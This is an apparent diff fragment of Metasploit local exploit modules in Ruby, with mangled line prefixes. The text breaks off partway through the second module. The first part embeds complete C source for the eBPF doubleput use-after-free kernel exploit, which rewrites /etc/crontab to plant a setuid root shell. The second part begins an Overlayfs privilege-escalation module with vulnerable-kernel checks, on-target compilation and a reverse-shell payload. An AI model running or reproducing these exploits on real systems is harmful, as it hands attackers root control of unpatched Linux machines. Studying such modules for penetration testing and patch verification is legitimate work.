||||||
|
def exploit
|
||||||
|
|
||||||
|
def upload_and_compile(filename, file_path, file_content, compile=nil)
|
||||||
|
rm_f "#{file_path}"
|
||||||
|
if not compile.nil?
|
||||||
|
rm_f "#{file_path}.c"
|
||||||
|
vprint_status("Writing #{filename} to #{file_path}.c")
|
||||||
|
write_file("#{file_path}.c", file_content)
|
||||||
|
register_file_for_cleanup("#{file_path}.c")
|
||||||
|
output = cmd_exec(compile)
|
||||||
|
if output != ''
|
||||||
|
print_error(output)
|
||||||
|
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_status("Writing #{filename} to #{file_path}")
|
||||||
|
write_file(file_path, file_content)
|
||||||
|
end
|
||||||
|
cmd_exec("chmod +x #{file_path}");
|
||||||
|
register_file_for_cleanup(file_path)
|
||||||
|
end
|
||||||
|
|
||||||
|
doubleput = %q{
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/prctl.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <linux/bpf.h>
|
||||||
|
#include <linux/kcmp.h>
|
||||||
|
|
||||||
|
#ifndef __NR_bpf
|
||||||
|
# if defined(__i386__)
|
||||||
|
# define __NR_bpf 357
|
||||||
|
# elif defined(__x86_64__)
|
||||||
|
# define __NR_bpf 321
|
||||||
|
# elif defined(__aarch64__)
|
||||||
|
# define __NR_bpf 280
|
||||||
|
# else
|
||||||
|
# error
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int uaf_fd;
|
||||||
|
|
||||||
|
int task_b(void *p) {
|
||||||
|
/* step 2: start writev with slow IOV, raising the refcount to 2 */
|
||||||
|
char *cwd = get_current_dir_name();
|
||||||
|
char data[2048];
|
||||||
|
sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
|
||||||
|
struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
|
||||||
|
if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
|
||||||
|
errx(1, "system() failed");
|
||||||
|
int fuse_fd = open("fuse_mount/hello", O_RDWR);
|
||||||
|
if (fuse_fd == -1)
|
||||||
|
err(1, "unable to open FUSE fd");
|
||||||
|
if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
|
||||||
|
errx(1, "unable to write to FUSE fd");
|
||||||
|
struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
|
||||||
|
if (iov_ == MAP_FAILED)
|
||||||
|
err(1, "unable to mmap FUSE fd");
|
||||||
|
fputs("starting writev\n", stderr);
|
||||||
|
ssize_t writev_res = writev(uaf_fd, iov_, 1);
|
||||||
|
/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
|
||||||
|
if (writev_res == -1)
|
||||||
|
err(1, "writev failed");
|
||||||
|
if (writev_res != strlen(data))
|
||||||
|
errx(1, "writev returned %d", (int)writev_res);
|
||||||
|
fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
|
||||||
|
while (1) sleep(1); /* whatever, just don't crash */
|
||||||
|
}
|
||||||
|
|
||||||
|
void make_setuid(void) {
|
||||||
|
/* step 1: open writable UAF fd */
|
||||||
|
uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
|
||||||
|
if (uaf_fd == -1)
|
||||||
|
err(1, "unable to open UAF fd");
|
||||||
|
/* refcount is now 1 */
|
||||||
|
|
||||||
|
char child_stack[20000];
|
||||||
|
int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
|
||||||
|
if (child == -1)
|
||||||
|
err(1, "clone");
|
||||||
|
sleep(3);
|
||||||
|
/* refcount is now 2 */
|
||||||
|
|
||||||
|
/* step 2+3: use BPF to remove two references */
|
||||||
|
for (int i=0; i<2; i++) {
|
||||||
|
struct bpf_insn insns[2] = {
|
||||||
|
{
|
||||||
|
.code = BPF_LD | BPF_IMM | BPF_DW,
|
||||||
|
.src_reg = BPF_PSEUDO_MAP_FD,
|
||||||
|
.imm = uaf_fd
|
||||||
|
},
|
||||||
|
{
|
||||||
|
}
|
||||||
|
};
|
||||||
|
union bpf_attr attr = {
|
||||||
|
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
|
||||||
|
.insn_cnt = 2,
|
||||||
|
.insns = (__aligned_u64) insns,
|
||||||
|
.license = (__aligned_u64)""
|
||||||
|
};
|
||||||
|
if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
|
||||||
|
errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
|
||||||
|
if (errno != EINVAL)
|
||||||
|
err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
|
||||||
|
}
|
||||||
|
/* refcount is now 0, the file is freed soon-ish */
|
||||||
|
|
||||||
|
/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
|
||||||
|
int status;
|
||||||
|
int hostnamefds[1000];
|
||||||
|
int used_fds = 0;
|
||||||
|
bool up = true;
|
||||||
|
while (1) {
|
||||||
|
if (waitpid(child, &status, WNOHANG) == child)
|
||||||
|
errx(1, "child quit before we got a good file*");
|
||||||
|
if (up) {
|
||||||
|
hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
|
||||||
|
if (hostnamefds[used_fds] == -1)
|
||||||
|
err(1, "open target file");
|
||||||
|
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
|
||||||
|
used_fds++;
|
||||||
|
if (used_fds == 1000) up = false;
|
||||||
|
} else {
|
||||||
|
close(hostnamefds[--used_fds]);
|
||||||
|
if (used_fds == 0) up = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fputs("woohoo, got pointer reuse\n", stderr);
|
||||||
|
while (1) sleep(1); /* whatever, just don't crash */
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child == -1)
|
||||||
|
err(1, "fork");
|
||||||
|
if (child == 0)
|
||||||
|
make_setuid();
|
||||||
|
struct stat helperstat;
|
||||||
|
while (1) {
|
||||||
|
if (stat("suidhelper", &helperstat))
|
||||||
|
err(1, "stat suidhelper");
|
||||||
|
if (helperstat.st_mode & S_ISUID)
|
||||||
|
break;
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
fputs("suid file detected, launching rootshell...\n", stderr);
|
||||||
|
execl("./suidhelper", "suidhelper", NULL);
|
||||||
|
err(1, "execl suidhelper");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
suid_helper = %q{
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
if (setuid(0) || setgid(0))
|
||||||
|
err(1, "setuid/setgid");
|
||||||
|
fputs("we have root privs now...\n", stderr);
|
||||||
|
execl("/bin/bash", "bash", NULL);
|
||||||
|
err(1, "execl");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
hello = %q{
|
||||||
|
/*
|
||||||
|
FUSE: Filesystem in Userspace
|
||||||
|
Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>
|
||||||
|
heavily modified by Jann Horn <jannh@google.com>
|
||||||
|
|
||||||
|
This program can be distributed under the terms of the GNU GPL.
|
||||||
|
See the file COPYING.
|
||||||
|
|
||||||
|
gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define FUSE_USE_VERSION 26
|
||||||
|
|
||||||
|
#include <fuse.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
|
||||||
|
static const char *hello_path = "/hello";
|
||||||
|
|
||||||
|
static char data_state[sizeof(struct iovec)];
|
||||||
|
|
||||||
|
static int hello_getattr(const char *path, struct stat *stbuf)
|
||||||
|
{
|
||||||
|
int res = 0;
|
||||||
|
memset(stbuf, 0, sizeof(struct stat));
|
||||||
|
if (strcmp(path, "/") == 0) {
|
||||||
|
stbuf->st_mode = S_IFDIR | 0755;
|
||||||
|
stbuf->st_nlink = 2;
|
||||||
|
} else if (strcmp(path, hello_path) == 0) {
|
||||||
|
stbuf->st_mode = S_IFREG | 0666;
|
||||||
|
stbuf->st_nlink = 1;
|
||||||
|
stbuf->st_size = sizeof(data_state);
|
||||||
|
stbuf->st_blocks = 0;
|
||||||
|
} else
|
||||||
|
res = -ENOENT;
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
|
||||||
|
filler(buf, ".", NULL, 0);
|
||||||
|
filler(buf, "..", NULL, 0);
|
||||||
|
filler(buf, hello_path + 1, NULL, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int hello_open(const char *path, struct fuse_file_info *fi) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
|
||||||
|
sleep(10);
|
||||||
|
size_t len = sizeof(data_state);
|
||||||
|
if (offset < len) {
|
||||||
|
if (offset + size > len)
|
||||||
|
size = len - offset;
|
||||||
|
memcpy(buf, data_state + offset, size);
|
||||||
|
} else
|
||||||
|
size = 0;
|
||||||
|
return size;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
|
||||||
|
if (offset != 0)
|
||||||
|
errx(1, "got write with nonzero offset");
|
||||||
|
if (size != sizeof(data_state))
|
||||||
|
errx(1, "got write with size %d", (int)size);
|
||||||
|
memcpy(data_state + offset, buf, size);
|
||||||
|
return size;
|
||||||
|
}
|
||||||
|
|
||||||
|
static struct fuse_operations hello_oper = {
|
||||||
|
.getattr = hello_getattr,
|
||||||
|
.readdir = hello_readdir,
|
||||||
|
.open = hello_open,
|
||||||
|
.read = hello_read,
|
||||||
|
.write = hello_write,
|
||||||
|
};
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
return fuse_main(argc, argv, &hello_oper, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
hello_filename = 'hello'
|
||||||
|
hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
|
||||||
|
doubleput_file = "#{datastore['WritableDir']}/doubleput"
|
||||||
|
suidhelper_filename = 'suidhelper'
|
||||||
|
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
|
||||||
|
payload_filename = rand_text_alpha(8)
|
||||||
|
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
|
||||||
|
|
||||||
|
if check != CheckCode::Appears
|
||||||
|
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||||
|
end
|
||||||
|
|
||||||
|
def has_prereqs?()
|
||||||
|
def check_libfuse_dev?()
|
||||||
|
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
|
||||||
|
if lib.include?('install')
|
||||||
|
vprint_good('libfuse-dev is installed')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('libfuse-dev is not installed. Compiling will fail.')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
def check_gcc?()
|
||||||
|
gcc = cmd_exec('which gcc')
|
||||||
|
if gcc.include?('gcc')
|
||||||
|
vprint_good('gcc is installed')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('gcc is not installed. Compiling will fail.')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
def check_pkgconfig?()
|
||||||
|
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
|
||||||
|
if lib.include?('install')
|
||||||
|
vprint_good('pkg-config is installed')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('pkg-config is not installed. Exploitation will fail.')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
|
||||||
|
end
|
||||||
|
|
||||||
|
compile = false
|
||||||
|
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||||
|
if has_prereqs?()
|
||||||
|
compile = true
|
||||||
|
vprint_status('Live compiling exploit on system')
|
||||||
|
else
|
||||||
|
vprint_status('Dropping pre-compiled exploit on system')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if compile == false
|
||||||
|
# doubleput file
|
||||||
|
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
doubleput = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
# hello file
|
||||||
|
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
hello = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
# suidhelper file
|
||||||
|
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
suid_helper = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
|
||||||
|
# overwrite with the hardcoded variable names in the compiled versions
|
||||||
|
payload_filename = 'AyDJSaMM'
|
||||||
|
payload_path = '/tmp/AyDJSaMM'
|
||||||
|
end
|
||||||
|
|
||||||
|
# make our substitutions so things are dynamic
|
||||||
|
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
|
||||||
|
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
|
||||||
|
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
|
||||||
|
'exit(0);')
|
||||||
|
print_status('Writing files to target')
|
||||||
|
cmd_exec("cd #{datastore['WritableDir']}")
|
||||||
|
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
|
||||||
|
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
|
||||||
|
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
|
||||||
|
upload_and_compile('payload', payload_path, generate_payload_exe)
|
||||||
|
|
||||||
|
print_status('Starting execution of priv esc. This may take about 120 seconds')
|
||||||
|
|
||||||
|
cmd_exec(doubleput_file)
|
||||||
|
sec_waited = 0
|
||||||
|
until sec_waited > datastore['MAXWAIT'] do
|
||||||
|
Rex.sleep(1)
|
||||||
|
# check file permissions
|
||||||
|
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
|
||||||
|
print_good('got root, starting payload')
|
||||||
|
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
|
||||||
|
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
|
||||||
|
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
|
||||||
|
cmd_exec("#{suidhelper_path}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
sec_waited +=1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(session)
|
||||||
|
# if we don't /bin/bash here, our payload times out
|
||||||
|
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
|
||||||
|
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
|
||||||
|
session.shell_command_token('/bin/bash')
|
||||||
|
super
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,293 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require "msf/core"
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Overlayfs Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to exploit two different CVEs related to overlayfs.
|
||||||
|
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
|
||||||
|
3.16.0-25 (14.10 default) < 3.16.0-41
|
||||||
|
3.19.0-18 (15.04 default) < 3.19.0-21
|
||||||
|
CVE-2015-8660:
|
||||||
|
Ubuntu:
|
||||||
|
3.19.0-18 < 3.19.0-43
|
||||||
|
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
|
||||||
|
Fedora:
|
||||||
|
< 4.2.8 (vulnerable, un-tested)
|
||||||
|
Red Hat:
|
||||||
|
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'h00die <mike@shorebreaksecurity.com>', # Module
|
||||||
|
'rebel' # Discovery
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jun 16 2015',
|
||||||
|
'Platform' => [ 'linux'],
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'CVE-2015-1328', { } ],
|
||||||
|
[ 'CVE-2015-8660', { } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 1,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '39166'], # CVE-2015-8660
|
||||||
|
[ 'EDB', '37292'], # CVE-2015-1328
|
||||||
|
[ 'CVE', '2015-1328'],
|
||||||
|
[ 'CVE', '2015-8660']
|
||||||
|
]
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||||
|
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
def mounts_exist?()
|
||||||
|
vprint_status('Checking if mount points exist')
|
||||||
|
if target.name == 'CVE-2015-1328'
|
||||||
|
if not directory?('/tmp/ns_sploit')
|
||||||
|
vprint_good('/tmp/ns_sploit not created')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('/tmp/ns_sploit directory exists. Please delete.')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
elsif target.name == 'CVE-2015-8660'
|
||||||
|
if not directory?('/tmp/haxhax')
|
||||||
|
vprint_good('/tmp/haxhax not created')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('/tmp/haxhax directory exists. Please delete.')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def kernel_vuln?()
|
||||||
|
os_id = cmd_exec('grep ^ID= /etc/os-release')
|
||||||
|
case os_id
|
||||||
|
when 'ID=ubuntu'
|
||||||
|
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
|
||||||
|
case kernel.release.to_s
|
||||||
|
when '3.13.0'
|
||||||
|
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
|
||||||
|
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
when '3.16.0'
|
||||||
|
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
|
||||||
|
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
when '3.19.0'
|
||||||
|
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
|
||||||
|
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
||||||
|
return true
|
||||||
|
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
|
||||||
|
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
when '4.2.0'
|
||||||
|
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
|
||||||
|
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Kernel #{kernel} is NOT vulnerable")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Non-vuln kernel #{kernel}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
when 'ID=fedora'
|
||||||
|
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
|
||||||
|
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
|
||||||
|
# => "4.0.4-301"
|
||||||
|
if kernel.release < Gem::Version.new('4.2.8')
|
||||||
|
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("Non-vuln kernel #{kernel}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Unknown OS: #{os_id}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if mounts_exist?() && kernel_vuln?()
|
||||||
|
return CheckCode::Appears
|
||||||
|
else
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
if check != CheckCode::Appears
|
||||||
|
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||||
|
end
|
||||||
|
|
||||||
|
filename = rand_text_alphanumeric(8)
|
||||||
|
executable_path = "#{datastore['WritableDir']}/#{filename}"
|
||||||
|
payloadname = rand_text_alphanumeric(8)
|
||||||
|
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
|
||||||
|
|
||||||
|
def has_prereqs?()
|
||||||
|
gcc = cmd_exec('which gcc')
|
||||||
|
if gcc.include?('gcc')
|
||||||
|
vprint_good('gcc is installed')
|
||||||
|
else
|
||||||
|
print_error('gcc is not installed. Compiling will fail.')
|
||||||
|
end
|
||||||
|
return gcc.include?('gcc')
|
||||||
|
end
|
||||||
|
|
||||||
|
compile = false
|
||||||
|
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||||
|
if has_prereqs?()
|
||||||
|
compile = true
|
||||||
|
vprint_status('Live compiling exploit on system')
|
||||||
|
else
|
||||||
|
vprint_status('Dropping pre-compiled exploit on system')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if check != CheckCode::Appears
|
||||||
|
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_chmod(fname, fcontent, cleanup=true)
|
||||||
|
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
|
||||||
|
rm_f fname
|
||||||
|
write_file(fname, fcontent)
|
||||||
|
cmd_exec("chmod +x #{fname}")
|
||||||
|
if cleanup
|
||||||
|
register_file_for_cleanup(fname)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(session)
|
||||||
|
super
|
||||||
|
if target.name == 'CVE-2015-1328'
|
||||||
|
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
|
||||||
|
# we cleanup here instead of earlier since we needed the /bin/su in our new session
|
||||||
|
session.shell_command('rm -f /etc/ld.so.preload')
|
||||||
|
session.shell_command('rm -f /tmp/ofs-lib.so')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if compile
|
||||||
|
begin
|
||||||
|
if target.name == 'CVE-2015-1328'
|
||||||
|
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
||||||
|
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
|
||||||
|
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
cve_2015_1328 = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
|
||||||
|
# pulled out from 1328.c's LIB define
|
||||||
|
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
ofs_lib = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
else
|
||||||
|
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
||||||
|
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
cve_2015_8660 = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
if compile
|
||||||
|
if target.name == 'CVE-2015-1328'
|
||||||
|
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
|
||||||
|
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
|
||||||
|
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
|
||||||
|
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
|
||||||
|
upload_and_chmod("#{ofs_path}.c", ofs_lib)
|
||||||
|
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
|
||||||
|
register_file_for_cleanup("#{ofs_path}.c")
|
||||||
|
else
|
||||||
|
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
|
||||||
|
"os.execl('#{payload_path}','#{payloadname}')")
|
||||||
|
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
|
||||||
|
end
|
||||||
|
vprint_status("Compiling #{executable_path}.c")
|
||||||
|
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
|
||||||
|
register_file_for_cleanup(executable_path)
|
||||||
|
else
|
||||||
|
if target.name == 'CVE-2015-1328'
|
||||||
|
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
cve_2015_1328 = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
upload_and_chmod(executable_path, cve_2015_1328)
|
||||||
|
|
||||||
|
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
|
||||||
|
fd = ::File.open( path, "rb")
|
||||||
|
ofs_lib = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
|
||||||
|
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
|
||||||
|
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
|
||||||
|
|
||||||
|
# overwrite with the hardcoded variable names in the compiled versions
|
||||||
|
payload_filename = 'lXqzVpYN'
|
||||||
|
payload_path = '/tmp/lXqzVpYN'
|
||||||
|
else
|
||||||
|
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
|
